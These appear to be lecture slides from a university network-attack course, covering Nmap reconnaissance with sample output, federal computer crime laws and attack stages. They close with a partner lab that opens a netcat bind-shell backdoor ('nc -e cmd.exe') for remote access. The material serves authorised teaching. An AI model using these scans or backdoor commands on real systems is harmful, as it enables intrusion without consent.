  - ◆ 192.168.11.10-99 Virtual attack surfaces
  - ◆ 192.168.11.100-199 Student workstations
  - ◆ 192.168.11.200-253 Wireless access

Attack Points 71

## Surveying Networks

### Nmap scans

- -sP Scan with pings only
- Just reports what IP addresses are "up"
- Uses ICMP (Internet Control Message Protocol)
- Note: Some firewalls block pings  
> nmap -sP 192.168.11.1-10



Attack Points 72

**Surveying Networks**

**Nmap scans**

- -sT Completed-TCP scans
- Uses the 3-way handshake
- Easily detected and typically logged

```
> nmap -sT -p 1-3389 192.168.11.2
```

Attack Points

73

**Surveying Networks**

**Nmap scans**

- -sS SYN scans
- Sends the SYN only
- A returned SYN-ACK indicates an open port
- Typically not logged – much less “noisy”
- Faster than completed-TCP scans

```
> nmap -sS 192.168.0.1
```

Attack Points

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**Surveying Networks**

Of course...

You can see if a single box is up by simply pinging it

```
C:\>ping 192.168.1.1

Pinging 192.168.1.1 with 32 bytes of data:
Reply from 192.168.1.1: bytes=32 time=1ms TTL=64
Reply from 192.168.1.1: bytes=32 time=2ms TTL=64
Reply from 192.168.1.1: bytes=32 time=2ms TTL=64
Reply from 192.168.1.1: bytes=32 time=2ms TTL=64

Ping statistics for 192.168.1.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss)
    Approximate round trip times in milli-seconds:
        Minimum = 1ms, Maximum = 2ms, Average = 1ms
```

C:\>

**Surveying Networks**

But Nmap can ping sweep an entire network:

Scan with pings 10 boxes

```
Administrator: Command Prompt
C:\>ping 192.168.0.1

WARNING: OS Scan is unreliable with a ping scan. You need to use
long with it, such as -sS, -sT, -sP, etc instead of -sP
QUITTING!

C:\>nmap -sP 192.168.0.1-10

Starting Nmap 4.03 ( http://www.insecure.org/nmap ) at 2006-05-30
Standard Time
Host 192.168.0.2 appears to be up.
MAC Address: 00:30:1B:B2:64:1A (Shuttle)
Host 192.168.0.3 appears to be up.
MAC Address: 00:30:1B:B2:64:1B (Shuttle)
Host 192.168.0.4 appears to be up.
MAC Address: 00:30:1B:B2:63:41 (Shuttle)
Host 192.168.0.5 appears to be up.
MAC Address: 00:30:1B:B2:6A:A7 (Shuttle)
Nmap finished: 10 IP addresses (4 hosts up) scanned in 13.479 seconds

C:\>
```

Attack Points

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**Surveying Networks**

```
> nmap -O -p1-3389 192.168.11.2
```

Scan ports 1-3389

Scan this IP

Ports open to Attack

ID OS

```
C:\Tools\nmap>nmap -O -p1-3389 192.168.11.2
Starting Nmap 4.03 ( http://www.insecure.org/nmap ) at 2006-05-30
Standard Time
Interesting ports on 192.168.11.2:
(The 3389 ports scanned but not shown below are in state: closed)
PORT      STATE SERVICE
21/tcp    open  ftp
111/tcp   open  rpcbind
MAC Address: 00:30:1B:B2:64:1A (Shuttle)
Device type: general purpose
Running: Linux 2.4.X|2.5.X|2.6.X
OS details: Linux 2.4.0 - 2.5.20, Linux 2.4.7 - 2.6.11
Nmap finished: 1 IP address (1 host up) scanned in 15.613 seconds
C:\Tools\nmap>
```

Attack Points

**Surveying Networks**

```
> nmap -sV -p 1-111 192.168.0.2
```

Scan ports 1-111

Scan this box

ID the service version

```
C:\Tools\nmap>nmap -sV -p 1-111 192.168.0.2
Starting Nmap 4.03 ( http://www.insecure.org/nmap ) at 2006-05-30
Standard Time
Interesting ports on 192.168.0.2:
(The 108 ports scanned but not shown below are in state: closed)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.0.4
22/tcp    open  ssh     OpenSSH 4.3 (protocol 2.0)
111/tcp   open  rpcbind 2-rpc #00000
MAC Address: 00:30:1B:B2:64:1A (Shuttle)
Service Info: OS: Unix

Nmap finished: 1 IP address (1 host up) scanned in 19.348 seconds
C:\Tools\nmap>
```

Attack Points

**Surveying Networks**

Another Nmap command line example:

```
> nmap -sS -O -P0 www.pacific.edu
```

- -sS = scan with SYN packets
- -O = OS fingerprint
- -P0 = Don't ping (edge routers/firewalls of some secure networks will not pass a ping – without P0, Nmap will skip any IP address that does not respond to a ping)
- Nmap will do a DNS lookup when given a URL
- This will often scan well-locked down networks, including UOP's

Attack Points

**Surveying Networks**

In ECPE/COMP 178:

- Check current target addresses: 192.168.11.2-99
- Only ports of interest are the server ports, 1 to 1023, and 3389 (Terminal Server/Remote Desktop)
- This is all you need to know for Lab #4!

zero capital oh

```
> nmap --max-retries 0 -O -p 1-3389 192.168.11.2-10
```

--max-retries – just try each test once [saves time!]

-O = OS fingerprint; -p = port

While only interested in ports 1-1023; to find Terminal Server you need to scan port 3389.

Attack Points

# Surveying Networks

```
nmap --max-retries 0 -O -p 1-445 10.0.0.7
```

```
C:\> Command Prompt

C:\Windows\Nmap>nmap --max-retries 0 -o -p 1-445 10.0.0.7

Starting Nmap 5.20 ( http://nmap.org ) at 2010-01-25 21:36 Pacific Standard Time
Warning: 10.0.0.7 giving up on port because retransmission cap hit (0).
Nmap scan report for www.treacle.com (10.0.0.7)
Host is up (0.0025s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
21/tcp    closed  ftp
22/tcp    closed  ssh
23/tcp    closed  telnet
53/tcp    closed  domain
77/tcp    closed  priv-rdp
80/tcp    closed  http
111/tcp   closed  rpcbind
128/tcp   closed  rsh
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
143/tcp   closed  imap
151/tcp   closed  dns
199/tcp   closed  smux
258/tcp   closed  fdd-mc-qui
369/tcp   closed  scu12vialus
445/tcp   closed  microsoft-ds
MAC Address: 00:16:76:CE:B1:A2 (Intel)
Device type: general purpose
OS details: Microsoft Windows XP
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/sul
Nmap done: 1 IP address (1 host up) scanned in 12.27 seconds

OS details: Microsoft Windows XP SP3
Network Distance: 1 hop
```

## Example from my network

## Attack Points

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# Surveying Networks

During the Nmap Lab (and in general) you may want to record the information for later review

- Copy the contents of a DOS window to a text file:
  - right-click anywhere on the DOS window,
  - Choose “Select all” and press enter <Enter>
  - open a new text file with Notepad or Word
  - press Ctrl-v in the file’s window.  
  - Zenmap scans of the lab can be saved to a USB drive.
  - You can record the results on your Server Information Sheets. This will help in labs that follow!
  - Ignore any information on switches or routers

## Attack Points

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```
[root@nmap ~]# nmap -O 10.2.2.2
Starting nmap V. 2.54BETA25 →
Insufficient responses for TCP sequencing (3), OS detection may be less
accurate
Interesting ports on 10.2.2.2:
(1539 ports scanned but not shown due to silence)
Port      State       Service
22/tcp    open        ssh
No exact OS matches for host

Nmap run completed -- 1 IP address (1 host up) scanned
# sshnuke 10.2.2.2 -rootpw="210N0101" →
Connecting to 10.2.2.2:ssh ... successful.
Attempting to exploit SSHv1 CRC32 ... successful.
Resetting root password to "210N0101".
System open: Access Level <9>
# ssh 10.2.2.2 -l root →
root@10.2.2.2's password: →
```

Matrix Reloaded: Trinity uses Nmap to find a vulnerable SSH server. She exploits the server using the 2001 SSH1 CRC32 exploit.



**Matrix Reloaded: Trinity uses Nmap to find a vulnerable SSH server. She exploits the server using the 2001 SSH1 CRC32 exploit.**



Lest you think Apples are safe...

- 02-2013 Typing File:/// into Mountain Lion app - crash
  - 02-2013 Security updates for Mac OS X Java
  - 11-2012 Safari
  - 09-2012 Security updates for remote desktop
  - 12-2010 Security updates for Airport Base Station
  - 12-2010 Security updates for Quicktime
  - ..... TNTC
  - 01-2010 Security updates for Mac OS X
  - 12-2009 Security updates for Java for OS X
  - 11-2009 Security updates for Safari
  - 11-2009 Security updates for Mac OS X
  - 09-2009 Security updates for iTunes
  - 09-2009 Security updates for Mac OS X
  - 09-2009 Security updates for Quicktime



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## Course Outline

01000101

- A. The Internet, TCP/IP, and PANs, LANs, CANs, MANs, & WANs
- B. Ping sweeps, port scans, traceroute, & OS fingerprinting
- C. Attacker Profiles
- D. Attack Points
  - Human access
  - Physical access
  - LAN (insider) access
  - Remote (Internet) access
  - Wireless access
- E. Anatomy of an Attack
  - Step 1: Target survey
  - Step 2: Vulnerability assessment**
  - Step 3: Vulnerability exploitation
  - Step 4: Maintaining access/persistence
  - Step 5: Covering tracks
- F. Physical access attacks
- G. The future: emerging technologies

Attack Points

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## A Word About the Law

Danger!



Danger!

**Will Robinson!**

- The tools covered in this course can be dangerous.
- The methods covered in this course can be used incorrectly.

Attack Points

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## The Tools

- BadStore
- DVWA
- Xampp
- Mutillidae
- Paros
- burpsuite
- WebGoat - programming

Attack Points

88

## The LAW

According to the FBI, unauthorized use of computers generally takes one of the following forms:

- File reading/copying – computer voyeur
- File alteration
- File deletion
- Service denial (what is left? Releasing? Stalking?)



Fakeware popup

Attack Points

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## The LAW

**The following federal laws have been used to convict persons of computer-related crimes:**

Title US Code Section  
15 USC 1644 (1995 Truth in Lending Act)

- Prohibits fraudulent use of credit cards

18 U.S.C. § 1028 (1998 Identity Theft and Assumption Deterrence Act)

- Prohibits transfer or use of the identity documentation of another person without the legal authority and with the intent to commit, aid, or abet any unlawful activity.

18 USC § 1029

- Prohibits fraudulent acquisition of telecommunications services.

Attack Points

90

## The LAW

**Federal Law (cont.)**

18 USC 1030 (1986 Computer Fraud and Abuse Act)

- Prohibits unauthorized access to any computer operated by the U.S. Government, financial institution insured by the U.S. Government, federally registered securities dealer, **or foreign bank**

18 USC § 1343

- Prohibits wire fraud

18 USC § 1361-2

- Prohibits **malicious mischief**      **what's that?**  
In the first degree = Causes an interruption or impairment of service rendered to the public by physically damaging or tampering with ....property of the state, a political subdivision thereof, or a public utility or **mode of** public transportation, power, or **communication**.... **Class B Felony**

Attack Points

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## The LAW

**Federal Law (cont.)**

18 USC § 1831

- Prohibits stealing of trade secrets

18 USC § 2314

- Prohibits interstate transport of stolen, converted, or fraudulently obtained material (inc. computer data files)

18 USC § 2319 and 17 USC § 506(a)

- Prohibits criminal violations of copyright law

18 USC § 2510-11

- Prohibits interception of electronic communications

18 USC § 2701

- Prohibits access to communications stored on a computer (addresses e-mail privacy)

Attack Points

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01000101

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- E. Anatomy of an Attack
  - Step 1: Target survey
  - Step 2: [Vulnerability assessment](#)
  - Step 3: Vulnerability exploitation
  - Step 4: Maintaining access/persistence
  - Step 5: Covering tracks
- F. Physical access attacks
- G. The future: emerging technologies

Attack Points 93



## The Anatomy of an Attack

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- You are now ready to do Labs:

Attack Points 94



## Anatomy of an Attack

### The Attack Skillsets Favor A Team Approach

- Gathering information (recon)
- Finding and exploiting vulnerabilities
- Creating and sending/installing Trojans
- Collecting and cracking passwords
- Defeating firewalls: Infiltrating tools
- Maintaining persistence (backdoors & rootkits)
- Capturing data (e.g. using keyloggers)
- Defeating firewalls: Exfiltrating data
- Covering tracks

*Evolution in action...*

Attack Points 95

## Mini-Lab: Pushing a Shell

1. Partner up - You attack them & they attack you!
2. Create a flag: From DOS window prompt Enter:  

```
> echo "Help!" > c:\flag1.txt
```

*Secret message*
3. Give attacker your address: Enter:  

```
> ipconfig
```

*Give attacker your IP address!*
4. Create a backdoor for attacker: Enter:  

```
> cd c:\tools\netcat  
> nc -L -p 12345 -e cmd.exe
```

*Insider assistance!*      *Backdoor!*
5. Attack partner: From DOS window prompt Enter:  

```
> cd c:\tools\netcat  
> nc 192.168.1.101 12345
```

*Partner's IP!*      *Partner pushes a shell!*  

```
> ipconfig
```

*A new IP! You're on your partner's box!!*  

```
> netstat -an
```

*Note: connected to port 12345*  

```
> type c:\flag1.txt
```

*Read secret message!*

Attack Points 96